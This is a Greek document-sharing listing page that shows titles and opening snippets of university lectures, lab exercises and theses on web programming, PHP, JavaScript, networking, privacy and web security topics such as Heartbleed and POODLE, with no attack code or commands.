ΤΕΧΝΟΛΟΓΙΚΟ ΠΑΝΕΠΙΣΤΗΜΙΟ ΚΥΠΡΟΥ, ΤΜΗΜΑ ΕΠΙΚΟΙΝΩΝΙΑΣ & ΣΠΟΥΔΩΝ ΔΙΑΔΙΚΤΥΟΥ ΕΣΔ 232: ΟΡΓΑΝΩΣΗ ΔΕΔΟΜΕΝΩΝ ΣΤΗ ΚΟΙΝΩΝΙΑ ΤΗΣ ΠΛΗΡΟΦΟΡΙΑΣ Ακαδημαϊκό Έτος 2011 2012, Εαρινό Εξάμηνο Εργαστηριακή Άσκηση 1 17/01/2012
Διαβάστε περισσότεραΟδηγίες Ακολουθήστε τα παρακάτω βήματα. Βεβαιωθείτε ότι το πρόγραμμά σας δουλεύει σωστά σε κάθε βήμα, πριν προχωρήσετε στο επόμενο.
Εργαστήριο #11 Από τα προηγούμενα εργαστήρια: Το εργαστήριο αυτό είναι συνέχεια του 10 ου, το οποίο θα πρέπει να έχετε ολοκληρώσει (τουλάχιστον χωρίς τη μορφοποίηση!). Θα χρειαστείτε επίσης ορισμένες από
Διαβάστε περισσότεραΘΕΜΑ ΠΤΥΧΙΑΚΗΣ : ΜΗΧΑΝΙΣΜΟΙ ΣΥΛΛΟΓΗΣ ΣΤΟΙΧΕΙΩΝ ΣΤΟ ΔΙΑΔΥΚΤΙΟ (COOKIES)
ΘΕΜΑ ΠΤΥΧΙΑΚΗΣ : ΜΗΧΑΝΙΣΜΟΙ ΣΥΛΛΟΓΗΣ ΣΤΟΙΧΕΙΩΝ ΣΤΟ ΔΙΑΔΥΚΤΙΟ (COOKIES) ΣΕΡΕΣΙΩΤΗ ΜΑΡΙΑ ΕΞΑΜΗΝΟ : ΠΤΥΧΙΟ Α.Μ 1999 ΥΠΕΥΘΥΝΟΣ ΚΑΘΗΓΗΤΗΣ κος ΛΕΩΝΙΔΑΣ ΤΣΙΑΝΤΗΣ ΔΩΡΟ -ΕΚΠΛΗΞΗ COOKIES ΤΙ ΕΙΝΑΙ ΤΑ COOKIES ΕΙΝΑΙ
Διαβάστε περισσότεραΣχεδίαση Εφαρμογών και Υπηρεσιών Διαδικτύου 11η Διάλεξη: Ασφάλεια στο Web
Σχεδίαση Εφαρμογών και Υπηρεσιών Διαδικτύου 11η Διάλεξη: Ασφάλεια στο Web Δρ. Απόστολος Γκάμας Λέκτορας (407/80) gkamas@uop.gr Σχεδίαση Εφαρμογών και Υπηρεσιών Διαδικτύου Διαφάνεια 1 1 Εισαγωγικά Βασικές
Διαβάστε περισσότεραΤΕΧΝΟΛΟΓΙΑ ΔΙΚΤΥΩΝ ΕΠΙΚΟΙΝΩΝΙΩΝ
Σε δίκτυο υπολογιστών εμπιστευτική πληροφορία μπορεί να υπάρχει αποθηκευμένη σε μέσα αποθήκευσης (σκληροί δίσκοι, μνήμες κ.λ.π.), ή να κυκλοφορεί μέσου του δικτύου με τη μορφή πακέτων. Η ύπαρξη πληροφοριών
Διαβάστε περισσότεραΔιαβάστε στο Παράρτημα Α.1 πώς θα γράψετε ένα πρόγραμμα PHP για την παροχή δεδομένων σε μορφή διαφορετική από την HTML.
Εργαστήριο #13 Από τα προηγούμενα εργαστήρια: Θα πρέπει να έχετε ολοκληρώσει το 11 ο (προσπέλαση βάσης δεδομένων μέσω PHP και 12 ο εργαστήριο (βασικές τεχνικές JavaScript στον browser). Οδηγίες Στο τελευταίο
Διαβάστε περισσότεραWeb Programming for Dummies
Web Programming for Dummies Γράψαμε αυτό το tutorial, αφού ολοκληρώσαμε την άσκηση Προγραμματισμού στον Παγκόσμιο Ιστό. Προσπαθήσαμε να γράψουμε γενικά πράγματα που βρήκαμε εμείς μετά από αναζητήσεις.aποφύγαμε
Διαβάστε περισσότεραCVE the SSL Heartbleed bug. SSL Renegotiation Attack
CVE-2014-0160 the SSL Heartbleed bug SSL Renegotiation Attack CVE-2014-0160 the SSL Heartbleed bug Ευπαθείς εκδόσεις του OpenSSL δεν επιβεβαιώνουν SSL μηνύματα για το μέγεθος της μνήμης Bug στο OpenSSL
Διαβάστε περισσότεραΜΕΡΟΣ ΠΡΩΤΟ: Θεωρητική Προσέγγιση...15
ΠΕΡΙΕΧΟΜΕΝΑ Πρόλογος του συγγραφέα...11 Πρόλογος του καθηγητή Γεωργίου Δουκίδη...13 ΜΕΡΟΣ ΠΡΩΤΟ: Θεωρητική Προσέγγιση...15 ΚΕΦΑΛΑΙΟ 1. Η ΕΠΙΧΕΙΡΗΣΗ...17 Ορισμός της έννοιας της επιχείρησης και οι μορφές
Διαβάστε περισσότεραΚρυπτογραφία: POODLE, BREACH
Κρυπτογραφία: POODLE, BREACH Διδασκαλία: Δ. Ζήνδρος ΗΜΜΥ ΕΜΠ Στόχοι του σημερινού μαθήματος Επιθέσεις MitM POODLE BREACH Πρακτικά chosen plaintext a_acks Εκμετάλλευση μικρής πιθανότητας αποκάλυψης bits
Διαβάστε περισσότεραTEC510 Ανάπτυξη Δικτυακών Τόπων (Ε εξάμηνο) Διδάσκων: Ανδρέας Γιαννακουλόπουλος Επιστημονικός συνεργάτης Εργαστηρίου: Γιώργος Μηλιώτης
TEC510 Ανάπτυξη Δικτυακών Τόπων (Ε εξάμηνο) Διδάσκων: Ανδρέας Γιαννακουλόπουλος Επιστημονικός συνεργάτης Εργαστηρίου: Γιώργος Μηλιώτης Χειμερινό εξάμηνο 2011-2012 Χρηματοδότηση Το παρόν εκπαιδευτικό υλικό
Διαβάστε περισσότεραΕργαστήριο 8. Προγραμματιστικές Εφαρμογές στο Διαδίκτυο
Εργαστήριο 8 Προγραμματιστικές Εφαρμογές στο Διαδίκτυο Στόχος Στόχος του εργαστηρίου είναι η εκμάθηση των βασικών προγραμματιστικών δομών της γλώσσας PHP και η δημιουργία φορμών για την επεξεργασία υποβαλλόμενων
Διαβάστε περισσότεραdatabases linux - terminal (linux / windows terminal)
databases linux - terminal (linux / windows terminal) 1) ανοίγουμε την mysql -> $ mysql -u root -p (enter) password (enter) TIP: αν κατά την εντολή αυτή μας γράψει, ERROR 2002 (HY000): Can't connect to
Διαβάστε περισσότεραNetwork Address Translation (NAT)
HY335Α Δίκτυα Υπολογιστών Xειμερινό Εξάμηνο 2016-2017 Πανεπιστήμιο Κρήτης, Τμήμα Επιστήμης Υπολογιστών Network Address Translation (NAT) Network Layer Private IP Addresses Πρόβλημα: o χώρος των ΙΡ διευθύνσεων
Διαβάστε περισσότεραΑσφάλεια Πληροφοριακών Συστημάτων
Ανοικτά Ακαδημαϊκά Μαθήματα στο ΤΕΙ Ιονίων Νήσων Ασφάλεια Πληροφοριακών Συστημάτων Ενότητα 9: Code injections Θεματική Ενότητα: Επιθέσεις Το περιεχόμενο του μαθήματος διατίθεται με άδεια Creative Commons
Διαβάστε περισσότεραΗΜΕΡΟΛΟΓΙΟ 2014-2015 ΓΛΩΣΣΑΡΙ ΔΙΑΔΙΚΤΥΟΥ
ΗΜΕΡΟΛΟΓΙΟ 2014-2015 ΓΛΩΣΣΑΡΙ ΔΙΑΔΙΚΤΥΟΥ Λαρισα Καμπέρη ΓΕΝΑΡΗΣ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Adware : Λογισμικό που εμφανίζει διαφημιστικό περιεχ
Διαβάστε περισσότεραTEC410 Ανάπτυξη Δικτυακών Τόπων (Δ εξάμηνο)
TEC410 Ανάπτυξη Δικτυακών Τόπων (Δ εξάμηνο) Διδάσκων: Ανδρέας Γιαννακουλόπουλος Επιστημονικός συνεργάτης Εργαστηρίου: Στέλλα Λάμπουρα Εαρινό εξάμηνο Χρηματοδότηση Το παρόν εκπαιδευτικό υλικό έχει αναπτυχθεί
Διαβάστε περισσότεραΕπισκόπηση προβλημάτων ασφαλείας, απειλών και κακόβουλων επιθέσεων αντίμετρα hands on lab/training module
Επισκόπηση προβλημάτων ασφαλείας, απειλών και κακόβουλων επιθέσεων αντίμετρα hands on lab/training module ikoniaris@gmail.com http://bruteforce.gr AUTH ACM Student Chapter 1 Τι είναι διαδικτυακή εφαρμογή
Διαβάστε περισσότεραJAVASCRIPT 1. Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Π. Αγγελάτος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών
JAVASCRIPT 1 Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Π. Αγγελάτος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών Άδεια Χρήσης Το παρόν εκπαιδευτικό υλικό υπόκειται σε άδειες
Διαβάστε περισσότεραΔιαχείριση Πληροφοριών στο Διαδίκτυο. Εργαστήριο 1
Διαχείριση Πληροφοριών στο Διαδίκτυο Εργαστήριο 1 Τεχνολογικό Εκπαιδευτικό Ίδρυμα Καβάλας Σχολή Διοίκησης & Οικονομίας Τμήμα Διαχείρισης Πληροφοριών Διδάσκων Μαρδύρης Βασίλειος, Διπλ. Ηλ. Μηχανικός & Μηχ.
Διαβάστε περισσότεραΤεχνολογίες Διαδικτύου
ECE_Y210 Εισαγωγή στην Επιστήμη του Ηλεκτρολόγου Μηχανικού Τεχνολογίες Διαδικτύου Νικόλαος Αβούρης hci.ece.upatras.gr/avouris 1 Αντικείμενο της ενότητας Η μελέτη τεχνολογιών ανάπτυξης εφαρμογών στο διαδίκτυο,
Διαβάστε περισσότεραΒασικές Έννοιες Web Εφαρμογών
ΟΙΚΟΝΟΜΙΚΟ ΠΑΝΕΠΙΣΤΗΜΙΟ ΑΘΗΝΩΝ ΤΜΗΜΑ ΔΙΟΙΚΗΤΙΚΗΣ ΕΠΙΣΤΗΜΗΣ ΚΑΙ ΤΕΧΝΟΛΟΓΙΑΣ Τεχνολογίες και Εφαρμογές Διαδικτύου Βασικές Έννοιες Web Εφαρμογών Κατερίνα Πραματάρη Τεχνολογίες και Εφαρμογές Διαδικτύου Περιεχόμενα
Διαβάστε περισσότεραΕργαστήριο Ασφάλεια Πληροφοριακών Συστημάτων. PGP (Pretty Good Privacy)
Εργαστήριο Ασφάλεια Πληροφοριακών Συστημάτων PGP (Pretty Good Privacy) Εισαγωγή Το λογισμικό Pretty Good Privacy (PGP), το οποίο σχεδιάστηκε από τον Phill Zimmerman, είναι ένα λογισμικό κρυπτογράφησης
Διαβάστε περισσότεραΠρογραμματισμός Διαδικτύου
Τμήμα Μηχανικών Πληροφορικής & Τηλεπικοινωνιών Προγραμματισμός Διαδικτύου Δρ. Μηνάς Δασυγένης mdasygenis@uowm.gr Άδειες Χρήσης Το παρόν εκπαιδευτικό υλικό υπόκειται σε άδειες χρήσης Creative Commons. Για
Διαβάστε περισσότεραΠΡΟΣΟΧΗ: Οι απαντήσεις πολλαπλής επιλογής µόνο πάνω στο ΦΥΛΛΟ ΑΠΑΝΤΗΣΕΩΝ
ΤΕΙ Σερρών Σχολή Τεχνολογικών Εφαρμογών, Τμήμα Πληροφορικής και Επικοινωνιών Προγραμματιστικές Εφαρμογές στο Διαδίκτυο (Θ) Τελική Εξέταση Διδάσκων: Δ. Κοτζίνος Όνοµα: Α.Μ. : Εξάµηνο : Αίθουσα Έδωσα Project
Διαβάστε περισσότεραJAVASCRIPT EVENTS. Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Π. Αγγελάτος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών
JAVASCRIPT EVENTS Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Π. Αγγελάτος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών Άδεια Χρήσης Το παρόν εκπαιδευτικό υλικό υπόκειται σε άδειες
Διαβάστε περισσότεραΕργαλεία ανάπτυξης εφαρμογών internet Ι
IEK ΟΑΕΔ ΚΑΛΑΜΑΤΑΣ ΤΕΧΝΙΚΟΣ ΕΦΑΡΜΟΓΩΝ ΠΛΗΟΦΟΡΙΚΗΣ Εργαλεία ανάπτυξης εφαρμογών internet Ι Διδάσκουσα: Κανελλοπούλου Χριστίνα ΠΕ19 Πληροφορικής Εργαλεία και τεχνικές από την πλευρά του πελάτη Java Applet
Διαβάστε περισσότεραΠρογραμματισμός Διαδικτύου ΕΡΓΑΣΤΗΡΙΟ. Τμ. ΔΕ- Χειμ
Προγραμματισμός Διαδικτύου ΕΡΓΑΣΤΗΡΙΟ Τμ. ΔΕ- Χειμ. 2014-15 Ετικέτες meta 2 Δε περιέχουν περιεχόμενο Έχουν 2 ιδιότητες. content: (υποχρεωτικό): Τα ίδια τα μετα-δεδομένα name: Συνήθως author, keywords και
Διαβάστε περισσότεραΕΞΕΤΑΣΤΕΑ ΥΛΗ (SYLLABUS) ADVANCED σχεδιασμός ιστοσελίδας ΕΚΔΟΣΗ 1.0. Σόλωνος 108,Τηλ Φαξ
ΕΞΕΤΑΣΤΕΑ ΥΛΗ (SYLLABUS) ADVANCED σχεδιασμός ιστοσελίδας ΕΚΔΟΣΗ 1.0 ΤΙ ΕΙΝΑΙ ΤΟ ADVANCED Οι Advanced θεματικές ενότητες είναι είναι κατάλληλες για άτομα που επιθυμούν να συνεχίσουν σπουδές στο χώρο της
Διαβάστε περισσότεραΕργαστήριο 9. Προγραμματιστικές Εφαρμογές στο Διαδίκτυο. Στόχος. Προετοιμασία περιβάλλοντος εργασίας
Εργαστήριο 9 Προγραμματιστικές Εφαρμογές στο Διαδίκτυο Στόχος Στόχος του εργαστηρίου είναι η εκμάθηση των βασικών εργασιών στην MySQL και η εξοικείωση με το περιβάλλον του εργαλείου διαχείρισης phpmyadmin.
Διαβάστε περισσότεραΠρωτόκολλα Επικοινωνίας και Τείχος Προστασίας
Β5.1.2 Πρωτόκολλα Επικοινωνίας και Τείχος Προστασίας Τι θα μάθουμε σήμερα: Να ορίζουμε τι είναι πρωτόκολλο επικοινωνίας Να εξηγούμε τη χρησιμότητα των πρωτοκόλλων επικοινωνίας Να ονομάζουμε τα σημαντικότερα
Διαβάστε περισσότεραΣύντομη παρουσίαση των εργαλείων/εντολών telnet, ping, traceroute nslookup και nmap, zenmap
Σύντομη παρουσίαση των εργαλείων/εντολών telnet, ping, traceroute nslookup και nmap, zenmap Version 2.00 Επιμέλεια Σημειώσεων: Δημήτρης Κόγιας Πατρικάκης Χαράλαμπος Πίνακας περιεχομένων TELNET... 2 PING...
Διαβάστε περισσότεραΔίκτυα Υπολογιστών ΙΙ (Ασκήσεις Πράξης)
TEI Σερρών Τμήμα Πληροφορικής και Επικοινωνιών Δίκτυα Υπολογιστών ΙΙ (Ασκήσεις Πράξης) Ανάλυση Πρωτοκόλλων Τομέας Τηλεπικοινωνιών και Δικτύων Δρ. Αναστάσιος Πολίτης Καθηγητής Εφαρμογών anpol@teiser.gr
Διαβάστε περισσότεραΆσκηση 5 -Δηµιουργία ιστοσελίδων µε HTML µέρος 5 ο
Άσκηση 5 -Δηµιουργία ιστοσελίδων µε HTML µέρος 5 ο HTML Φόρµες Για να δηµιουργήσουµε µια φόρµα στην οποία θα γράφουν σχόλια ή παρατηρήσεις οι επισκέπτες των σελίδων µας, χρειαζόµαστε την ετικέτα .
Διαβάστε περισσότεραΕΠΛ 012. JavaScripts
ΕΠΛ 012 JavaScripts Γλώσσα JavaScript (JS) ηµιουργεί δυναµικές ιστοσελίδες και αλληλεπιδράσεις µε το χρήστη εν είναι Java, αλλά είναι αντικειµενοστραφής (απλό µοντέλο υποκειµένων) Objects, properties (τιµές
Διαβάστε περισσότερα6 Εισαγωγή στο Wordpress 3.x
Περιεχόμενα 1 Εγκατάσταση του WordPress... 11 Ελάχιστες απαιτήσεις... 11 Easy PHP... 12 Εγκατάσταση Easy PHP... 12 Βήματα εγκατάστασης EasyPHP με εικόνες... 13 Το EasyPHP στα Ελληνικά... 17 Κατέβασμα και
Διαβάστε περισσότεραΠΑΝΕΠΙΣΤΗΜΙΟ ΜΑΚΕΔΟΝΙΑΣ ΤΜΗΜΑ ΕΦΑΡΜΟΣΜΕΝΗΣ ΠΛΗΡΟΦΟΡΙΚΗΣ ΔΙΠΛΩΜΑΤΙΚΗ ΕΡΓΑΣΙΑ
ΠΑΝΕΠΙΣΤΗΜΙΟ ΜΑΚΕΔΟΝΙΑΣ ΤΜΗΜΑ ΕΦΑΡΜΟΣΜΕΝΗΣ ΠΛΗΡΟΦΟΡΙΚΗΣ ΔΙΠΛΩΜΑΤΙΚΗ ΕΡΓΑΣΙΑ ΣΧΕΔΙΑΣΗ ΚΑΙ ΑΝΑΠΤΥΞΗ ΔΙΑΔΙΚΤΥΑΚΗΣ ΕΦΑΡΜΟΓΗΣ «ΨΗΦΙΑΚΩΝ ΑΡΘΡΩΝ» ΜΕ ΧΡΗΣΗ ΚΑΙ ΜΕΘΟΔΟΥΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ ΔΙΑΔΙΚΤΥΟΥ HTML, JAVASCRIPT,
Διαβάστε περισσότεραγια την Ανάπτυξη Δυναμικών Διαδικτυακών Εφαρμογών»
ΕΛΛΗΝΙΚΗ ΔΗΜΟΚΡΑΤΙΑ ΠΑΝΕΠΙΣΤΗΜΙΟ ΚΡΗΤΗΣ «Προχωρημένα Θέματα Προγραμματισμού με PHP για την Ανάπτυξη Δυναμικών Διαδικτυακών Εφαρμογών» Γιάννης Σαμωνάκης Πανεπιστήμιο Κρήτης Σεμινάριο: Ανάπτυξη Διαδικτυακών
Διαβάστε περισσότεραΤΕΙ Σερρών Σχολή Τεχνολογικών Εφαρμογών Τμήμα Πληροφορικής & Επικοινωνιών. Επώνυμο Όνομα: Α.Μ. : Εξάμηνο : Αίθουσα
ΤΕΙ Σερρών Σχολή Τεχνολογικών Εφαρμογών, Τμήμα Πληροφορικής και Επικοινωνιών Προγραμματιστικές Εφαρμογές στο Διαδίκτυο (Θ) Τελική Εξέταση - Διδάσκων: Δ. Κοτζίνος Επώνυμο Όνομα: Α.Μ. : Εξάμηνο : Αίθουσα
Διαβάστε περισσότεραΤο διαδίκτυο είναι ένα δίκτυο που αποτελείτε από πολλά μικρότερα δίκτυα υπολογιστών.
Κεφάλαιο 2 Με το διαδίκτυο μπορεί κάποιος: να κάνει έρευνα, να ψωνίσει για διάφορες υπηρεσίες και προϊόντα, να δει καιρικούς χάρτες, να πάρει φωτογραφίες, ταινίες, και διάφορες άλλες πληροφορίες που βρίσκονται
Διαβάστε περισσότερα7.7 Πρωτόκολλο ARP. 1. Το πρωτόκολλο ARP μετατρέπει τις διευθύνσεις IP στις αντίστοιχες φυσικές. Σ Λ
7.7 Πρωτόκολλο ARP & Ερωτήσεις 1. Ποιος ο ρόλος του Πρωτοκόλλου Μετατροπής Διεύθυνσης (ARP); 2. Τι είναι ο πίνακας ARP, τι πληροφορία περιλαμβάνει και με ποιο τρόπο ενημερώνεται και ποιος ο χρόνος ζωής
Διαβάστε περισσότεραΣΥΝΔΕΣΗ ΚΑΤΑΓΡΑΦΙΚΟΥ ΣΤΟ INTERNET
ΣΥΝΔΕΣΗ ΚΑΤΑΓΡΑΦΙΚΟΥ ΣΤΟ INTERNET 1) Συνδέουμε το καταγραφικό και τον Η/Υ με το ίδιο ADSL Router. 2) Έπειτα θα πρέπει να βρούμε την IP διεύθυνση που έχει το Router. Για να το κάνουμε αυτό, ακολουθούμε
Διαβάστε περισσότεραΑΣΦΑΛΔΗΑ. Γηδάζθνληεο: Π. Αγγειάηνο, Γ. Εήλδξνο Δπηκέιεηα δηαθαλεηώλ: Γ. Εήλδξνο. Σρνιή Ζιεθηξνιόγσλ Μεραληθώλ θαη Μεραληθώλ Υπνινγηζηώλ
ΑΣΦΑΛΔΗΑ Γηδάζθνληεο: Π. Αγγειάηνο, Γ. Εήλδξνο Δπηκέιεηα δηαθαλεηώλ: Γ. Εήλδξνο Σρνιή Ζιεθηξνιόγσλ Μεραληθώλ θαη Μεραληθώλ Υπνινγηζηώλ Σηόρνο ηεο ώξαο Δμεξεύλεζε δηάθνξσλ προβιεκάηφλ αζθαιείας Καηαλόεζε
Διαβάστε περισσότεραΙατρική Πληροφορική. Δρ. Π. ΑΣΒΕΣΤΑΣ ΤΜΗΜΑ ΜΗΧΑΝΙΚΩΝ ΒΙΟΪΑΤΡΙΚΗΣ ΤΕΧΝΟΛΟΓΙΑΣ Τ.Ε.
Ιατρική Πληροφορική Δρ. Π. ΑΣΒΕΣΤΑΣ ΤΜΗΜΑ ΜΗΧΑΝΙΚΩΝ ΒΙΟΪΑΤΡΙΚΗΣ ΤΕΧΝΟΛΟΓΙΑΣ Τ.Ε. Χρήσιμοι Σύνδεσμοι Σημειώσεις μαθήματος: http://medisp.bme.teiath.gr/eclass/courses/tio103/ https://eclass.teiath.gr/courses/tio100/
Διαβάστε περισσότεραΚΕΦΑΛΑΙΟ 4. Τεχνική Ανίχνευσης του. Πτυχιακή Εργασία Σελίδα 95
ΚΕΦΑΛΑΙΟ 4 Τεχνική Ανίχνευσης του ICMP Echo Spoofing Πτυχιακή Εργασία Σελίδα 95 Περιεχόμενα ΕΙΣΑΓΩΓΗ 98 ΜΕΡΟΣ Α: Έλεγχος του Icmp Echo Reply Πακέτου 103 A.1. Ανίχνευση του spoofed Icmp Echo Request Πακέτου.
Διαβάστε περισσότεραStartup Guide Backup365. Οδηγός γρήγορης εγκατάστασης και εκκίνησης. Για να δοκιμάσετε την υπηρεσία θα πρέπει να ακoλουθήσατε τα παρακάτω βήματα:
Startup Guide Backup365 Οδηγός γρήγορης εγκατάστασης και εκκίνησης [ ΠΡΟΣΟΧΗ: αν κατά την κρυπογράφιση του αρχείου επιλέξετε δικό σας Encryption Key (αντί του Password εισόδου που προτείνει το σύστημα)
Διαβάστε περισσότεραΕνημέρωση για την προστασία προσωπικών δεδομένων Δήλωσης Προστασίας Προσωπικών Δεδομένων και Χρήσεως Cookies
Ενημέρωση για την προστασία προσωπικών δεδομένων Δήλωσης Προστασίας Προσωπικών Δεδομένων και Χρήσεως Cookies http://www.adolo.gr Σας ευχαριστούμε που επισκέπτεστε τον διαδικτυακό τόπο http://www.adolo.gr
Διαβάστε περισσότεραΟΔΗΓΙΕΣ ΧΡΗΣΗΣ FORUM SITE
15 Πρόλογος Οι οδηγίες που ακολουθούν αναφέρονται στα παρακάτω sites. Site Διεύθυνση Site Συντονιστικής Επιτροπής (ΣΕ) http://se-forum.cperi.certh.gr Site Επιστημονικού Γνωμοδοτικού http://egs-forum.cperi.certh.gr
Διαβάστε περισσότερα5 η Διάλεξη: Προγραμματισμός στην πλευρά του εξυπηρετητή: προχωρημένα θέματα PHP
Σχεδίαση Εφαρμογών και Υπηρεσιών Διαδικτύου 5 η Διάλεξη: Προγραμματισμός στην πλευρά του εξυπηρετητή: προχωρημένα θέματα PHP Δρ. Απόστολος Γκάμας Διδάσκων (407/80) gkamas@uop.gr Σχεδίαση Εφαρμογών και
Διαβάστε περισσότεραΕνημέρωση για την προστασία προσωπικών δεδομένων Δήλωσης Προστασίας Προσωπικών Δεδομένων και Χρήσεως Cookies
Ενημέρωση για την προστασία προσωπικών δεδομένων Δήλωσης Προστασίας Προσωπικών Δεδομένων και Χρήσεως Cookies http:// www.thomopoulos-spirits.gr Σας ευχαριστούμε που επισκέπτεστε τον διαδικτυακό τόπο http://www.thomopoulos-spirits.gr
Διαβάστε περισσότεραΡύθµιση του Ασύρµατου Ευρυζωνικού ροµολογητού.
Ρύθµιση του Ασύρµατου Ευρυζωνικού ροµολογητού. 1.1 Εκκίνηση και Πρόσβαση Ενεργοποιήστε την εφαρµογή πλοήγησής σας (το browser) και απενεργοποιήστε το proxy ή συµπληρώστε τη διεύθυνση IP αυτού του προϊόντος
Διαβάστε περισσότεραΡυθμίσεις εγκατάστασης ονόματος χώρου σε πίνακα ελέγχου plesk
Ρυθμίσεις εγκατάστασης ονόματος χώρου σε πίνακα ελέγχου plesk Βήμα 1: Ρυθμίσεις πριν την εγκατάσταση ονόματος χώρου στο πακέτο φιλοξενίας Από το διαχειριστικό σύστημα ονομάτων χώρου αφού αναζητήσουμε το
Διαβάστε περισσότεραAlice in Warningland: A Large-Scale Field Study of Browser Security Warning Effectiveness. Presented by: Elli Panagi
Alice in Warningland: A Large-Scale Field Study of Browser Security Warning Effectiveness Presented by: Elli Panagi Παρούσα Έρευνα Είναι αποτελεσματικά τα warnings του browser? Έλεγχος μόνο των bypassable
Διαβάστε περισσότεραΕισαγωγή στην PHP. ΕΣΔ 516 Τεχνολογίες Διαδικτύου. Περιεχόμενα. Περιεχόμενα. ΕΣ 516: Τεχνολογίες ιαδικτύου. ΕΣ 516: Τεχνολογίες ιαδικτύου
ΕΣΔ 516 Τεχνολογίες Διαδικτύου Εισαγωγή στην PHP Περιεχόμενα Περιεχόμενα PHP και HTML Βασική σύνταξη Μεταβλητές Τελεστές Συναρτήσεις Παράδειγματα 1 Βιβλιογραφία Ενότητας Βιβλιογραφία [Lane 2004]: Chapter
Διαβάστε περισσότεραΓιώργος Σπηλιώτης IT Consultant
Γιώργος Σπηλιώτης IT Consultant Έκτακτη Είδηση! HEARTBleed OpenSSL v.1.0.1 έως v.1.0.1f Apache & Nginx περίπου 60% των sites Ζητάμε echo 64bytes για Block 1 byte Λάθος κατά το implementation του echo Τι
Διαβάστε περισσότεραΑσφάλεια δεδομένων και SQL Αθανάσιος Σταυρακούδης http://stavrakoudis.econ.uoi.gr Άνοιξη 2014 Περιεχόμενα 1 Χρήστες και συνθηματικό πρόσβασης 2 Εκχώρηση και αναίρεση δικαιωμάτων 3 Κρυπτογράφηση 2 / 82
Διαβάστε περισσότεραΔρ. Δημήτριος Α. Κουτσομητρόπουλος. Τμήμα Επιχειρηματικού Σχεδιασμού και Πληροφοριακών Συστημάτων Α.Τ.Ε.Ι. Πάτρας 2012-2013
Εισαγωγή στην PHP Δρ. Δημήτριος Α. Κουτσομητρόπουλος Τμήμα Επιχειρηματικού Σχεδιασμού και Πληροφοριακών Συστημάτων Α.Τ.Ε.Ι. Πάτρας 2012-2013 Εισαγωγή στην PHP PHP : Hypertext Preprocessor Η PHP είναι μία
Διαβάστε περισσότεραΠρογραμματισμός Διαδικτύου
Πανεπιστήμιο Δυτικής Μακεδονίας Τμήμα Μηχανικών Πληροφορικής & Τηλεπικοινωνιών Προγραμματισμός Διαδικτύου Δρ. Μηνάς Δασυγένης mdasygenis@uowm.gr Πανεπιστήμιο Δυτικής Μακεδονίας 1 Άδειες Χρήσης Το παρόν
Διαβάστε περισσότεραΙατρική Πληροφορική. Δρ. Π. ΑΣΒΕΣΤΑΣ ΤΜΗΜΑ ΜΗΧΑΝΙΚΩΝ ΒΙΟΪΑΤΡΙΚΗΣ ΤΕΧΝΟΛΟΓΙΑΣ Τ. Ε. Χρήσιμοι Σύνδεσμοι
Ιατρική Πληροφορική Δρ. Π. ΑΣΒΕΣΤΑΣ ΤΜΗΜΑ ΜΗΧΑΝΙΚΩΝ ΒΙΟΪΑΤΡΙΚΗΣ ΤΕΧΝΟΛΟΓΙΑΣ Τ. Ε. Χρήσιμοι Σύνδεσμοι Σημειώσεις μαθήματος: http://medisp.bme.teiath.gr/eclass/courses/tio103/ https://eclass.teiath.gr/courses/tio100/
Διαβάστε περισσότεραPROXY SERVER. Άριστη πύλη διαχωρισμού μεταξύ του εσωτερικού δικτύου και του Internet.
PROXY SERVER Άριστη πύλη διαχωρισμού μεταξύ του εσωτερικού δικτύου και του Internet. Αποτελεσματικό εργαλείο για την απόκρυψη των εσωτερικών λεπτομερειών και διευθύνσεων IP του δικτύου. Αυξάνει τη συνολική
Διαβάστε περισσότεραΠρογραμματισμός Διαδικτύου Ασκήσεις Εργαστηρίου
Προγραμματισμός Διαδικτύου Ασκήσεις Εργαστηρίου Ενότητα: ΕΡΓΑΣΤΗΡΙΑΚΗ ΑΣΚΗΣΗ Νο 09 Δρ. Μηνάς Δασυγένης mdasyg@ieee.org Τμήμα Μηχανικών Πληροφορικής και Τηλεπικοινωνιών Εργαστήριο Ψηφιακών Συστημάτων και
Διαβάστε περισσότεραUnity Editor #04 Κεντρικό Μενού: Edit, Unity Preferences
Unity Editor #04 Κεντρικό Μενού: Edit, Unity Preferences Γεια σου. Σε αυτό το μάθημα θα μιλήσουμε για τις δυνατότητες που μας δίνει η Unity να την κάνουμε να λειτουργεί όπως θέλουμε. Η αλήθεια είναι ότι
Διαβάστε περισσότεραΠροσωπικά δεδομένα στο Διαδίκτυο: Τα δικαιώματα & οι υποχρεώσεις μας
Προσωπικά δεδομένα στο Διαδίκτυο: Τα δικαιώματα & οι υποχρεώσεις μας Δρ. Κωνσταντίνος Λιμνιώτης Πληροφορικός Ελεγκτής klimniotis at dpa.gr Τι είναι προσωπικά δεδομένα; Προσωπικά δεδομένα είναι κάθε πληροφορία
Διαβάστε περισσότεραΗΛΕΚΤΡΟΝΙΚΟ ΚΑΤΑΣΤΗΜΑ
ΠΤΥΧΙΑΚΗ ΕΡΓΑΣΙΑ ΗΛΕΚΤΡΟΝΙΚΟ ΚΑΤΑΣΤΗΜΑ ΜΠΑΡΚΟΥΛΑΣ ΑΡΙΣΤΕΙΔΗΣ ΑΜ:3524 ΣΑΜΑΡΤΖΗΣ ΓΕΩΡΓΙΟΣ ΑΜ:883 ΠΕΡΙΕΧΟΜΕΝΑ ΠΕΡΙΛΗΨΗ INTERNET ΗΛΕΚΤΡΟΝΙΚΟ ΕΜΠΟΡΙΟ HTML SQL (Structured Query Language\ PHP ΣΥΜΠΕΡΑΣΜΑΤΑ ΠΕΡΙΛΗΨΗ
